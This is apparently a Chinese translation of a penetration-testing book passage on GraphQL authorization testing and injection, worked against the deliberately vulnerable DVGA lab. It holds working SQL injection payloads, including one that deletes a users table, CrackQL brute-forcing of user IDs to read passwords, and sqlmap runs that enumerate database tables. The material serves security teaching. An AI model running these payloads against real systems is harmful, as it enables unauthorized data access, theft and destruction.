当客户端更改 JWT 令牌时,其签名应变为无效。不验证此签名的 GraphQL API 将容易受到基于伪造的攻击。

授权测试

与认证一样,开发人员可以采用多种方法实现授权。当给定有限的 GraphQL 用户帐户时,作为黑客,我们应该看看我们能够提升多少权限。特别是,我们应确定是否能够绕过旨在防止我们读取用户数据或执行某些提升功能的控制。

像 REST 一样,GraphQL 可能会因 API 处理权限控制不当而容易受到各种授权攻击的威胁。在函数级别未能保护未经授权访问可能导致敏感数据泄露或执行破坏性操作。

GraphQL 特有的授权漏洞通常发生在权限检查发生在解析器级别,或者在任何业务逻辑或状态变化执行后。让我们学习如何检测这些授权方法,并探索它们可能面临的攻击。

检测授权层

我们可以通过几种方式来检测 API 是否使用授权控制,以及使用的是哪种类型的控制。

查找模式指令

我们之前提到过,开发者有时通过使用模式指令来实现授权。如果你有权限访问 API 的 SDL 文件,你可以识别这些模式指令。或者,你可以发送一个专门的 introspection 查询,比如 列表 7-8 中的查询。

query {
  __schema {
    directives {
      name
      args {
        name
      }
    }
  }
}

列表 7-8:获取指令名称和参数的 introspection 查询

运行这个查询将返回目标服务器中所有查询级别和模式级别的指令列表。如果你在列表中发现 @auth 指令,你可以假设该模式支持它。当然,开发者可能会给指令取不同的名字,因此还要留意类似 @authorize@authorization@authz 等名称。

在模式中查找身份验证指令

如果我们执行一个 introspection 查询来识别指令,我们将知道是否存在 @auth 指令。然而,我们并不知道该指令在模式中的应用位置,因为这些信息在 introspection 查询中并未暴露。这是因为客户端不会调用模式级别的指令;相反,开发者使用它们来防止未经授权的访问等情况。

查看 列表 7-9 中的 User 对象类型作为示例。

Type User {
  id: ID
  username: String
  email: String
  password: String @auth(requires: ADMIN)
  role: String
}

列表 7-9:模式中 @auth 指令的使用示例

在白盒渗透测试中,扫描 @auth 指令的模式非常有用,白盒测试提供了 SDL 文件。但在黑盒测试中,如果无法访问模式,你可能知道 password 字段的存在,但并不知道 @auth 指令是否应用于该字段。

GraphQL 开发者社区曾讨论过在 introspection 系统中暴露关于使用模式级别指令的信息。然而,目前许多 GraphQL 实现并未暴露这些信息。

使用 graphql-path-enum 枚举路径

要测试授权控制,你应该尝试通过尽可能多的方式访问敏感字段。例如,考虑 DVGA 模式中的以下片段,其中有三个查询访问 PasteObject

type Query {
  pastes(public: Boolean, limit: Int, filter: String): [**PasteObject**]
  paste(id: Int, title: String): **PasteObject**
`--snip--`
  users(id: Int): [UserObject]
  readAndBurn(id: Int): **PasteObject**
  search(keyword: String): [SearchResult]
  audits: [AuditObject]
  deleteAllPastes: Boolean
  me(token: String): UserObject
}

作为客户端,你可以通过使用 pastespastereadAndBurn 返回粘贴信息。在实施带内授权时,开发者可能会不小心只保护其中一些查询。因此,确定访问给定对象类型的所有可能路径。

模式可能非常庞大,因此在识别所有通往特定对象类型路径的过程中自动化处理将非常有帮助。对于这个任务,我们将使用 graphql-path-enum。这个工具期望两个重要的参数:内省 JSON 响应和我们想要测试授权问题的对象类型的名称。让我们使用它来查找到PasteObject对象类型的所有路径。

首先,通过将查询从github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt粘贴到 Altair 中来运行完整的内省查询。发送请求并将响应复制到名为introspection.json的文件中。接下来,提供这个文件给 graphql-path-enum,并告诉它搜索所有导致PasteObject对象的路径,如 7-10 列表中所示。

# cd ~
# ./graphql-path-enum -i introspection.json -t PasteObject

Found 3 ways to reach the "PasteObject" node:
- Query (pastes) -> PasteObject
- Query (paste) -> PasteObject
- Query (readAndBurn) -> PasteObject

列表 7-10:使用 graphql-path-enum 执行类型路径枚举

正如您所见,graphql-path-enum 遍历了内省响应并标识了通向对象的所有可能查询路径。现在我们可以手动发送这三个查询,看看是否有任何一个允许访问其他查询不允许的对象。

如果您想在一个大而复杂的 GraphQL API 中练习模式遍历,请尝试对着名的星球大战 API(SWAPI)中的Vehicle对象类型运行 graphql-path-enum。这个 API 的模式比 DVGA 的模式要大,并且应该说明在测试授权问题时路径枚举的重要性。您可以在github.com/dolevf/Black-Hat-GraphQL/blob/master/ch07/starwars-schema.json访问 SWAPI 模式。

使用 CrackQL 进行参数和字段的暴力破解

因为 graphql-path-enum 仅适用于对象类型,您可以尝试在第六章中讨论的字段填充技术,以测试旨在限制非特权用户可以查看的数据量的弱或不存在的授权控制。我们还可以使用 CrackQL 来程序化地暴力破解我们不应该访问的参数和字段。想象一下以下查询:

query {
  users(id: 1) {
    username
    password
  }
}

现在假设访问某些用户信息需要特殊的授权权限。我们知道用户 ID 是数字递增的,但不知道哪些受保护。让我们尝试用 CrackQL 来暴力破解它们。

在 CrackQL 文件夹下的sample-queries文件夹中,创建一个名为users.graphql的新文件,并包含以下内容:

**query {**
 **users(id: {{id|int}}) {**
 **username**
 **password**
 **}**
**}**

此查询使用了带有Int类型的id参数的users字段。因为查询接受id参数,我们可以尝试通过逐步提供数字用户标识符列表来枚举帐户。CrackQL 将渲染{{id|int}}字符串,并使用我们即将创建的词表中的单词替换它。

让我们创建一个可能的用户 ID 字典,作为一个单列 CSV 词表。使用一些 Bash 技巧可以轻松生成这样的列表:

# cd ~/CrackQL
# echo "id" > sample-inputs/users.csv
# for id in `seq 1 100`; do echo $id >> sample-inputs/users.csv; done

接下来,通过打印前五行来检查文件是否已正确生成:

# head -5 sample-inputs/users.csv

id
1
2
3
4

现在运行 CrackQL 以查找有效的用户 ID 并检索其用户名和密码字段:

# python3 CrackQL.py -t http://localhost:5013/graphql -q sample-queries/users.graphql
**-i sample-inputs/users.csv --verbose**

[+] Verifying Payload Batch Operation...
[+] Sending Alias Batch 1 of 1 to http://localhost:5013/graphql...
===============================
Results:

Data:
[{'alias1': {'data': [{'password': '******', 'username': 'admin'}],
             'inputs': {'id': '120'}}},
 {'alias2': {'data': [{'password': '******', 'username': 'operator'}],
             'inputs': {'id': '120'}}},
 {'alias3': {'data': [], 'inputs': {'id': '120'}}},

你还可以以相同的方式,暴力破解你怀疑由于授权控制无法访问的字段,只需修改原始查询以包含这些潜在字段:

query {
  users(id: {{id|int}}) {
     username
     password
 **accessToken**
 **birthDate**
 **location**
   }
}

CrackQL 会将所有尝试的输出保存在 ~/CrackQL/results 文件夹中。如果这些字段是可访问的,你将在该处看到相应的响应。

概述

本章介绍了带内和带外 GraphQL 身份验证与授权的架构模型。我们回顾了一些开发者可能在其 GraphQL 部署中采用的传统控制方法,并指出了这些方法可能容易受到的弱点。例如,使用 JWT 令牌的 GraphQL 实现可能容易受到令牌伪造的攻击。我们还将你的注意力引导到一些更新的、专门为 GraphQL 设计的身份验证与授权库和插件,如 GraphQL Modules、GraphQL Shield 和自定义 schema 指令。

通过利用 GraphQL 的特性,如基于别名的查询批处理,我们可以手动进行暴力破解带内身份验证操作,或者使用 CrackQL 自动完成此操作。使用 graphql-path-enum,我们可以枚举类型的路径,再次使用 CrackQL,我们可以在没有适当授权控制的情况下访问字段。

在下一章中,我们将讨论另一类古老的漏洞:注入攻击,这些攻击即便在现代 API 服务(如 GraphQL)面前依然能够肆虐。

第八章:注入

客户端与 API 的交互方式多种多样,例如创建、修改或删除数据。当应用程序必须处理这些任意输入时,问题就会出现。应用程序是否应该信任外部客户端发送的输入?内部客户端呢?

在本章中,你将了解注入漏洞,并发现为什么识别和保护由 GraphQL API 支持的应用程序的各个入口点至关重要,以及不这样做的后果。我们将识别影响应用程序逻辑并操控其执行未专门设计操作的机会。成功的注入可能导致从网页篡改到在数据库上执行代码的各种后果。

GraphQL 服务器通常与数据存储进行交互,如 MySQL 等关系型数据库、Elasticsearch 等文档数据库、Redis 等键值存储,甚至 Neo4j 等图形数据库。所有这些都可能受到基于注入的漏洞的影响。在本章中,我们将讨论三种类型的注入漏洞。一些漏洞,如 SQL 注入(SQLi)和操作系统命令注入,会影响后端服务,如服务器和数据库。另一类漏洞,XSS,会影响客户端。

GraphQL 中的注入漏洞

注入漏洞发生在应用程序接受并处理未经信任的输入时,且没有进行任何清理操作。清理是一个安全措施,涉及检查输入并去除其中可能危险的字符。缺乏此类检查可能会导致输入被解释为命令或查询,并在客户端或服务器端执行。注入是一个广泛的攻击类别,可能影响网络生态系统,如操作系统、客户端浏览器、数据库、第三方系统等。

应用程序可能通过多种方式不小心引入注入漏洞,包括以下几种:

  • 该应用程序没有对接收到的输入进行安全检查。

  • 应用程序使用不安全的库(如解析器)处理用户输入。

  • 该应用程序将接收到的用户输入传递给第三方系统,而该系统没有对输入进行安全检查。

  • 应用程序接受输入并将其展示给客户端,而没有进行任何形式的转换。

实现 GraphQL API 的应用程序,在允许客户端通过查询、变更或订阅等接口操作数据后,可能会变得容易受到注入漏洞的攻击。即使是仅允许客户端读取数据的 GraphQL API,也可能在某些接口(如查询过滤器)中存在漏洞。虽然可以减少风险,但几乎不可能完全消除。

在构建 API 时,完全避免接受用户输入是很困难的。随着应用程序变得更加复杂,它将需要某种输入才能有用。例如,如果 Twitter 或 Facebook 不允许用户输入,那么它们将毫无意义。用户的操作,如发推文、在别人墙上写 Facebook 帖子,或上传晚餐照片到 Instagram,都需要用户输入。

恶意输入的影响范围

无论是来自人类客户端,还是来自网络上其他服务器等机器,都必须考虑输入可能是恶意的。即使是内部机器也可能被攻击并向其他服务器发送恶意输入。

应用程序通常在宽松的信任模型下开发。这样的信任模型假设来自同一网络的其他内部系统的输入是安全的,而来自外部来源的输入是不安全的。这种方法非常常见,但以这种方式设计系统可能会适得其反;如果我们能够攻击一个系统并向网络上的其他主机发送命令,就可以轻松横向移动到其他服务器。图 8-1 说明了一个类似的场景。

图 8-1: 网络信任边界

该图描述了一个渗透测试,在测试过程中,我们发现了一个面向互联网的 GraphQL API 服务器,称为公共服务器。该服务器是双重接入的,意味着它有两个网络接口,并且属于两个独立的网络。该服务器容易受到注入攻击,因为它没有充分检查来自客户端的传入查询。

现在,假设图中的内部服务器也是一个 GraphQL 服务器,设计时假定信任来自同一网络系统的任何传入查询。之所以如此配置,是因为它不面向互联网,安全架构师在其威胁模型中假定本地网络是安全的。然而,如果公共服务器被黑客攻击,攻击者可能会向内部服务器发送恶意查询。

这就是为什么始终对任何用户输入进行安全检查非常重要。也正是因为如此,黑客在发现允许输入的地方进行注入漏洞测试是至关重要的。

OWASP Top 10

每隔几年,OWASP 会发布新的 Web 应用程序漏洞类别排名,作为OWASP Top 10项目的一部分,帮助公司将安全缓解工作集中在最常见的软件缺陷类别上。

注入漏洞类别已经连续近二十年出现在 OWASP Top 10 榜单中。在最新的 OWASP Top 10 发布中,注入漏洞排名第三,如表格 8-1 所示。

表格 8-1: OWASP Top 10

标识符 漏洞
A01 访问控制破坏
A02 加密失败
A03 注入
A04 不安全的设计
A05 安全配置错误
A06 脆弱和过时的组件
A07 身份识别和身份验证失败
A08 软件和数据完整性失败
A09 安全日志记录和监控失败
A10 服务器端请求伪造

OWASP 也开始在一个专门的项目中跟踪 API 中的顶级漏洞,API 安全性前十。这个划分有助于区分基于 API 和非 API 的漏洞。在截至本文撰写时的最新项目发布中,注入漏洞排在第八位,如 表 8-2 所示。

表 8-2:API 安全性前十

标识符 漏洞
API1 对象级授权破坏
API2 用户身份验证破坏
API3 过度数据暴露
API4 缺乏资源和速率限制
API5 功能级授权破坏
API6 批量赋值
API7 安全配置错误
API8 注入
API9 不当的资产管理
API10 日志记录和监控不足

注入漏洞在 API 中可能会带来灾难性的后果,因此,在进行渗透测试时,熟悉非 API 基于的 Web 应用程序和 API 中的注入测试非常重要。

注入表面

GraphQL API 通常设计为接受来自客户端的输入,执行如数据库读写等后台操作,并返回响应。

从技术上讲,你可以有只读查询,例如以下示例,这不会改变服务器端的任何内容。客户端不能通过查询传递任意数据,只能使用在 GraphQL 架构中定义的字段 idipAddr,你可能还记得它们在第三章中有提到:

query {
   pastes {
      id
      ipAddr
   }
}

如果应用程序没有设计为与客户端以允许修改服务器数据的方式进行交互,应用程序开发人员可以只进行只读操作,但实际上,这几乎从不会是这种情况。随着应用程序变得更加复杂和功能丰富,它们将需要通过查询参数、字段参数或两者来接受客户端输入。

让我们在深入探讨各种注入漏洞之前,考虑一些允许客户端传递任意输入的 GraphQL 组件。对于这些接口,你应该问自己一些重要的问题:

  • 应用程序是否有验证传入的客户端输入?

  • 应用程序是否接受危险字符?

  • 应用程序是否在查询中发送意外字符时抛出异常?

  • GraphQL 是否检查传递给参数的值类型?

  • 我们能否从 GraphQL 服务器响应(或带外响应)中推断出注入尝试是否成功?

注入测试需要一些反复试验,但一旦你突破了瓶颈,你会有一种非常满足的感觉。

查询参数

GraphQL 操作,如查询、变更和订阅,可以设计为接受参数。考虑以下查询,它传递了一个值为 100limit 参数。虽然这个操作仍然是只读的,但它提供了一个接口,可以通过使用查询过滤器来操控服务器的响应:

query {
   pastes(**limit: 100**) {
      id
      ipAddr
   }
}

这个参数不允许我们执行代码,但我们可以利用它以各种方式影响服务器。例如,向一个 Int 类型的参数(如 limit)提供一个负值(如 -1),可能会导致意外的行为。有时候,API 会将 -1 的值解释为 返回所有,在这种情况下,服务器将返回整个对象列表。

当你识别出一个 String 类型的参数时,可能需要花一些时间尝试不同的注入载荷。考虑 列表 8-1 中的 GraphQL 变更,它使用了 createPaste 顶层字段。

mutation {
 createPaste(content: "Some content", title:"Some title", public: false) {
   paste {
    id
    ipAddr
   }
 }
}

列表 8-1:变更输入点

createPaste 字段非常直观;它接收来自客户端的信息,并利用这些数据在数据库中创建一个全新的粘贴。在这个示例中,客户端通过三个参数控制粘贴的格式:contenttitlepublic。这些参数具有不同的类型。例如,contenttitle 是标量类型 String,而 public 是标量类型 Boolean

想象一下,从数据库操作的角度看,粘贴创建操作可能是怎样的。考虑以下 SQL 示例:

INSERT INTO pastes (content, title, public)
VALUES ('some_malicious_content', 'some_title', false)

当客户端查询被 GraphQL API 接收时,服务器可能需要查找或写入数据库中的信息,以便满足查询。如果 GraphQL API 设计为处理诸如 contenttitle 等参数的输入,而没有适当的安全验证,数据可能会被直接注入到 SQL 命令中,这可能导致 SQL 注入漏洞。

考虑以下 SQL 注入示例,其中 SQL 命令被插入到 content 参数中:

mutation {
 createPaste(content: "**content'); DELETE FROM users; --**") {
   paste {
    id
    ipAddr
   }
 }
}

以这种方式构造的查询可以在后台转换为 SQL 查询,它可能如下所示:

INSERT INTO pastes (content) VALUES ('**content'); DELETE FROM users; --**

需要注意的是,GraphQL API 应该在查询解析器中有多层防御性检查,以减少各种形式的注入攻击。

字段参数

就像顶层字段一样,GraphQL 查询中的选择集字段也可以接受参数。考虑以下查询:

query {
  users {
    username(capitalize: true)
    id
  }
}

使用这个查询,我们可以返回用户的 ID 和用户名列表。默认情况下,响应中的 username 字段是小写的。添加 capitalize 参数并将其设置为 true,则 GraphQL 解析器会将用户名首字母大写。

字段参数可以被实现为在指定的字段中执行不同的操作,在安全上下文中,它们与其他参数(例如指令的参数)没有太大区别。传递给字段参数的值可以被插入数据库或影响逻辑。应用程序甚至可能将其作为不同内部 API 调用的一部分,因此在存在这些参数时进行测试非常重要。

查询指令参数

附加到某些 GraphQL 字段的查询指令也可以接受参数,通常是标量类型,如 StringBoolean。这些指令的使用方式完全依赖于实现,但检查它们允许客户端发送哪些类型的值始终是值得的。

考虑以下查询:

query {
  pastes {
    id
    ipAddr @show_network(style: "cidr")
  }
}

在这个示例中,我们为指令 show_network 指定了一个名为 style 的参数。style 参数的类型是 String,并且接受任意字符串。在此示例中,我们提供了 cidr 作为值。在后台,这将把 ipAddr(IP 地址)字段转换为使用 无类域间路由(CIDR) 标记法的地址。例如,IPv4 地址 192.168.0.1 将变为 192.168.0.1/32。

查询指令参数也可能容易受到注入攻击。攻击者可以利用这些参数来影响服务器返回特定字段的响应方式。例如,查询指令可能使用参数 where,然后该参数被转换为 SQL 匹配模式(例如,LIKE 操作符)。

你可以使用 清单 8-2 中显示的内省查询,通过使用 __schema 元字段和 directives 字段来仅获取可用的指令。

query GetDirectives {
  __schema {
    directives {
      name
      description
      locations
    }
  }
}

清单 8-2:用于列出指令的 GraphQL 内省查询

操作名称

操作名称 是我们可以添加到 GraphQL 操作中的字符串,例如查询、变更或订阅。它们通常用于在发送多个查询时唯一标识每个查询。像 GraphiQL Explorer 和 GraphQL Playground 这样的 GraphQL 图形化 IDE 使用操作名称作为一种方式,允许客户端在文档中存在多个查询时通过下拉菜单选择要执行的操作,如 图 8-2 所示。

图 8-2:在 GraphiQL Explorer 中基于操作名称执行选定的查询

操作名称也用于其他目的,如调试和日志记录。事实上,它们是有趣的潜在注入向量,因为应用程序可以以多种方式使用它们。例如,一些应用程序使用操作名称进行分析,以确定客户端最常使用的查询。操作名称字符串可能最终出现在不同的系统中,如日志系统、关系数据库、缓存数据库等。因此,检查 GraphQL API 是否允许将特殊字符作为操作名称的一部分是很重要的,因为这可能成为一个可注入的接口。

操作名称通常是字母数字的,但有些 GraphQL 服务器实现对其允许的字符类型比其他服务器更宽松。

输入入口点

在对 GraphQL API 进行注入测试时,我们需要找到一种方法来发现输入入口点。如果运气好且 introspection(自省功能)仍然启用,我们通常可以快速访问 API 支持的各种查询、变更和订阅,以及有关其类型、字段、参数等信息,使用像 Altair、GraphiQL Explorer 或 GraphQL Playground 这样的 GraphQL IDE 工具。

要在 Altair 中查看有关 DVGA 的信息,请将 URL 设置为 http://localhost:5013/graphiql,然后点击位于右上角的 保存 按钮(磁盘图标)。点击保存按钮旁边的 刷新 按钮,然后点击 文档。你应该能看到查询、变更和订阅的部分。点击任意一项,查看每个部分中存在的参数类型,如 图 8-3 中的截图所示。

图 8-3:Altair 客户端中的架构文档

如果运气不好且服务器上禁用了 introspection,我们可以依赖像 Clairvoyance 这样的工具(我们在第六章中提到过),通过它重建架构并发现各种可用的输入。Clairvoyance 会对 GraphQL 文档的输入进行模糊测试,以发现其所有操作、字段、类型和参数,从而重建完整的架构视图,然后我们可以利用这个视图来识别所有可能的输入。

接下来,我们将通过对 DVGA 进行一些注入测试,探索在 GraphQL 世界中常见的注入类型。

SQL 注入

SQL 注入 是最古老的漏洞类型之一。SQLi 漏洞发生在客户端输入没有经过适当的字符转义而直接插入 SQL 命令时。这种情况允许黑客关闭原本的 SQL 查询,并引入他们自己的 SQL 命令,从而有效地干扰应用程序与数据库之间的查询。

GraphQL API 中的 SQLi 漏洞可能带来灾难性的后果。完全或部分访问数据库可能导致以下任一后果:

  • 对数据完整性的影响。 一个 SQLi 漏洞可能允许我们操控数据,例如修改数据库表中的数据。

  • 对数据保密性的影响。 SQLi 可能允许我们泄露数据库中的信息,无论是来自应用程序特定的 SQL 表,还是来自同一数据库中的其他表。这些信息可能包括个人身份信息(PII)、密码哈希、敏感令牌等。

  • 对数据可用性的影响。 SQLi 可能允许我们删除数据库的部分内容或完全删除表,导致数据丢失和应用程序不稳定。

近年来,现代 Web 框架在缓解 SQL 注入漏洞方面取得了更好的进展,通过提供现成的防御机制,如参数化查询。利用经过审计和验证的框架使开发人员能够通过使用框架内置的安全功能(如函数和库)编写更安全的代码。

了解 SQL 注入的类型

SQL 注入漏洞有两个类别,每个类别下都有一些子类别。

经典 SQL 注入

当应用程序在注入测试期间返回 SQL 查询错误时,你就遇到了经典 SQL 注入。这些错误可以直接显示在网页上,或者通过网络检查显现出来。识别经典 SQL 注入漏洞使用两种技术:基于错误和基于联合。

基于错误的 SQL 注入是通过观察错误来识别 SQL 注入漏洞。那些在 SQL 查询执行失败时向客户端抛出 SQL 错误的应用程序可能会让我们找到正确的攻击模式,从而成功利用 SQL 注入漏洞。

基于联合的 SQL 注入是通过利用UNION SQL 操作符来识别 SQL 注入漏洞的。UNION用于连接多个SELECT语句的结果,然后将其返回给客户端。

盲 SQL 注入

盲 SQL 注入中,我们没有可见的迹象表明存在漏洞。应用程序可能会悄无声息地失败,或者将错误重定向到客户端以外的地方。有两种发现盲 SQL 注入漏洞的技术。

基于时间的 SQL 注入迫使应用程序在返回响应之前等待一段时间。通过提供一个 SQL 注入负载,指示数据库等待一定的秒数,我们可以推断如果返回最终响应时出现类似的延迟,则应用程序可能存在漏洞。

基于布尔值的 SQL 注入允许我们通过构造一个将返回布尔结果(如truefalse)的负载来推断应用程序是否容易受到 SQL 注入攻击。通过使用这种测试技术,我们可以影响应用程序向客户端展示数据的方式,这帮助我们识别是否存在漏洞。

测试 SQL 注入

虽然 SQL 注入漏洞有所减少,但偶尔仍然可以发现。作为黑客,我们应假设我们正在测试的应用程序可能没有适当的控制措施来防止 SQL 注入,因此应在任何可能的地方和时间进行测试。

SQL 注入的测试可以通过多种方式进行,例如以下几种:

  • 提交诸如单引号(')或双引号(")等字符,并观察应用程序如何处理意外的输入和错误。

  • 模糊测试输入字段并观察可能表明数据库查询失败的应用程序错误。

  • 提交 SQL 命令引入延迟,例如使用 MySQL 数据库的BENCHMARKSLEEP,Microsoft SQL Server 的WAITFOR DELAYWAITFOR TIME,或者 PostgreSQL 数据库的pg_sleep,然后进行响应时间分析,以判断注入是否成功。这在我们进行盲注测试时特别有用,因为应用程序错误对我们是不可见的。

SQL 注入(SQLi)可以通过任何接受客户端输入的接口在 GraphQL 中引入。在本节中,我们将通过使用 DVGA 来探索 GraphQL 中的 SQLi 示例。

使用 Burp Suite 对 DVGA 进行 SQLi 测试

在 GraphQL 中进行注入测试的第一步是找到我们可以修改查询的地方。我们可以从 Altair 中的模式文档开始查看。图 8-4 显示了查询部分。文档中还有变更和订阅部分,记得也要查看一下这些部分。

图 8-4:DVGA 中的查询

如你所见,我们有一些查询可以选择。现在我们需要优先考虑哪些区域进行重点关注。注意到一些字段,比如systemUpdatesystemHealthauditsdeleteAllPastes,这些字段不接受任何参数,因此我们最好专注于那些接受参数的字段。让我们重点查看pastes字段,它接受三个可选参数:

  • public,类型为Boolean

  • limit,类型为Integer

  • filter,类型为String

filter参数可能是 SQLi 测试的一个有价值的候选项,因为它接受字符串值,且其名称暗示它用于过滤结果。这个过滤可能涉及后台查询解析器逻辑,使用 SQL 操作,如 SQL 的WHERE运算符,以完成查询。

现在我们已经有了目标,接下来开始与 DVGA 交互并代理流量。通过 Kali 的应用程序菜单打开 Burp Suite,然后点击打开浏览器,在代理标签下打开内置浏览器并访问http://localhost:5013。应用加载后,确保 Burp Suite 处于拦截模式。接着,在 DVGA 的左侧边栏中导航到Private Pastes页面。你应该能看到一个类似于图 8-5 的 GraphQL 请求。

图 8-5:在 Burp Suite 中拦截 GraphQL 查询

如你所见,DVGA 使用 GraphQL 的pastes查询操作发送 HTTP POST 请求,以从 GraphQL API 服务器获取私人粘贴列表。

如果你切换到 WebSockets 历史记录标签,你会注意到 DVGA 也使用了订阅操作(图 8-6)。在此上下文中,订阅操作允许客户端通过订阅pastes事件,实时读取 API 中新创建的内容。

要更轻松地操作请求,可以通过右键单击请求窗口中的任意位置并点击发送到重发器,将请求发送到 Burp Suite 的 Repeater。然后点击Repeater标签查看捕获的请求。这允许你按需重放请求。

让我们修改查询,使其使用 filter 参数。首先,将查询修改为如下所示:

**query {**
 **pastes(filter:"My First Paste") {**
 **id**
 **content**
 **title**
 **}**
**}**

图 8-6:Burp Suite 中的历史 WebSocket 流量视图

请注意,当查询包含双引号时,我们必须在 Burp 中使用反斜杠(\)字符来转义引号,如图 8-7 所示。

图 8-7:使用 Burp Repeater 发送修改后的 GraphQL 查询

点击发送将查询发送到 GraphQL 服务器。响应此查询时,我们应收到一个符合我们过滤搜索模式的 paste。更具体地说,它匹配 content 字段:

"pastes": [
  {
 `--snip--`
    "title":"Testing Testing",
    "content":"My First Paste"
 `--snip--`
  }
]

这个过滤搜索模式表明在后台某处正在执行某种 SQL 查询,并且该查询的行为类似于以下内容:

SELECT id, content, title FROM pastes WHERE content LIKE 'My First Paste'

这个 SQL 查询将从 pastes SQL 表中返回 idcontenttitle 列。使用 WHERE 运算符,结果将被筛选,只返回内容中包含字符串 My First Paste 的 pastes 相关记录,正如 LIKE 运算符所定义的那样。

我们希望向应用程序输入一些字符,可能会破坏此查询并导致错误,这可能表明应用程序将我们的输入直接发送到查询中。例如,如果我们在搜索字符串后添加单引号('),SQL 查询将中断,因为这会导致一个没有闭合单引号的孤立开头单引号。

让我们向 DVGA 发送以下查询,以查看我们收到的响应(注意添加了单引号):

query {
 pastes(filter:"**My First Paste'**") {
    id
    content
    title
 }
}

在 Burp 中,修改请求,使其看起来像图 8-8 所示。GraphQL 应该返回一个通过 errors JSON 键包含应用程序错误的响应,揭示一些有趣的信息。

图 8-8:通过使用单引号与 Burp Suite 打破 SQL 查询

看起来我们的字符串导致 SQL 查询失效,因为它直接被注入到 SQL LIKE 搜索模式中。应用程序没有对我们引入的单引号进行转义,这使得我们能够完全破坏 SQL 查询。因此,SQLite(运行 DVGA 的 SQL 引擎)抛出错误,正如你在错误输出中的 sqlite3.OperationalError 字符串所看到的。

所以,我们认为我们发现了一个 SQLi 漏洞。现在怎么办?我们可以通过修改 SQL 查询,例如将其更改为返回所有 pastes,来检查是否能够从数据库中获取更多信息:

 query {
  pastes(filter:"My First Paste' or 1=1--") {
    title
    content
  }
}

现在,GraphQL 在解析传入的 GraphQL 查询后查询数据库时使用的 SQL 语句可能如下所示:

SELECT id, content, title FROM pastes WHERE content LIKE '**My First Paste' or 1=1—-'**

通过添加一个单引号,我们在 My First Paste 过滤模式后立即结束了 SQL LIKE 操作符。然后,我们可以通过添加 1=1 比较,插入一个 or 条件,使 SQL 查询始终为真。我们使用 SQL 中的注释双破折号(--)语法来结束 SQL 查询,从而注释掉查询末尾的单引号,确保尽管修改了查询,我们的语法依然有效。

图 8-9 显示了 Burp Suite 中这个 SQLi 查询的样子及其结果。

图 8-9:使用 Burp Suite 成功的 SQL 注入

服务器响应包含 DVGA 数据库中的所有粘贴!这是一个基于布尔值的 SQLi 示例。

自动化 SQL 注入

其他工具尝试自动化 SQLi 漏洞的检测。特别是,SQLmap 可以通过针对各种数据库引擎(如 MySQL、PostgreSQL、SQLite 等)定制的负载,帮助模糊测试 GraphQL API。

在进行 SQLi 测试时,你可以取任何潜在的 GraphQL 查询,并使用星号(*)标记一个特定位置,指示 SQLmap 应该注入负载。例如,考虑以下代码片段:

query {
  pastes(filter:"test*****") {
     id
  }
}

在这个示例中,SQLmap 会用它的 SQLi 负载数据库中的条目替换星号。

SQLmap 可以从文件读取完整的 HTTP 请求。我们可以将任何 HTTP 请求输入到 SQLmap 中,SQLmap 会读取查询并用它来执行 SQL。图 8-10 显示了如何在 Burp Suite 中将请求保存到文件。右键点击请求窗口中的任何位置,选择 复制到文件。将文件命名为 request.txt 并保存。

图 8-10:将 HTTP 请求从 Burp Suite 保存到文件

接下来,通过使用 -r(请求)参数来运行 SQLmap,指定文件。将目标数据库引擎参数(--dbms)设置为 sqlite。通过提供数据库引擎名称,我们将执行的测试数量缩小到相关的子集,从而加快注入测试的过程。清单 8-3 显示了如何运行命令。

# sqlmap -r request.txt —dbms=sqlite —tables

[14:30:53] [INFO] parsing HTTP request from 'request.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] **Y**

JSON data found in POST body. Do you want to process it? [Y/n/q] **n**

[14:30:55] [INFO] testing connection to the target URL
it is recommended to perform only basic UNION tests if there is not at least one
other (potential) technique found. Do you want to reduce the number of requests? [Y/n] **Y**

[14:30:57] [INFO] testing 'Generic UNION query (NULL) — 1 to 10 columns'
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the
others (if any)? [y/N] **N**

Parameter: #1* ((custom) POST)
    Type: UNION query
    Title: Generic UNION query (NULL) — 1 column
    Payload: {"query":"query getPastes {\n        pastes(filter:\"test' UNION ALL
SELECT CHAR(113,122,98,122,113)||CHAR(102,90,76,111,106,97,117,117,105,113,101,121,
72,117,112,87,114,99,114,65,99,86,84,120,72,69,115,122,120,77,121,119,122,103,108,
116,87,100,114,82)||CHAR(113,122,98,98,113),NULL,NULL,NULL,NULL,NULL,NULL,
NULL—bGJM\") {\n          id\n          title\n          content\n
ipAddr\n          userAgent\n          owner {\n            name\n
}\n          }\n        }"}

清单 8-3:SQLmap 成功注入的输出

SQLmap 会通知我们它找到了星号标记(*),并询问是否要处理它。输入 Y。工具接着表示它在 request.txt 文件中找到了 JSON 数据,并询问是否应将其解释为 JSON。输入 N,因为 GraphQL 语法可能会干扰 SQLmap。接下来,工具建议减少请求数量,仅使用基本的 UNION 测试。输入 Y。测试发现我们的参数是脆弱的,因此输入 N,指示 SQLmap 不再执行其他测试。工具还高亮显示了导致成功注入的负载。

现在我们可以使用 --tables 参数收集数据库信息,该参数将列出 DVGA 中的数据库表,如 清单 8-4 所示。

# sqlmap -r request.txt --dbms=sqlite --tables

[14:34:05] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[5 tables]
+------------+
| audits     |
| owners     |
| pastes     |
| servermode |
| users      |
+------------

清单 8-4:使用 SQLmap 列出 DVGA 数据库中的表

正如你所看到的,我们已经返回了 DVGA 中各个组件的表格。做得好!我们能够手动和自动识别出 SQL 注入漏洞。

操作系统命令注入

操作系统(OS)命令注入漏洞是影响应用程序底层操作系统的注入漏洞,它发生在用户输入被插入到系统命令行命令中时。这使得我们能够引入额外的参数,或者突破指定命令,执行我们控制的命令。

就像 SQL 注入(SQLi)一样,操作系统命令注入可能对应用程序造成严重后果,允许攻击者执行以下操作:

  • 列举本地服务、进程、用户和组

  • 泄露本地文件系统文件,如敏感配置文件、数据库文件等

  • 通过让服务器回调到我们的远程 shell 获得远程访问

  • 使用专门的恶意软件将服务器转变为攻击发起平台

  • 将服务器转变为加密矿工

操作系统命令注入可以有效地让我们在服务器上执行系统管理任务,通常是在 Web 应用程序用户的上下文中。Web 服务器通常在像 www-dataapachenginx 等 Unix 账户下运行,或者,如果我们运气够好,可能会是 root 用户。

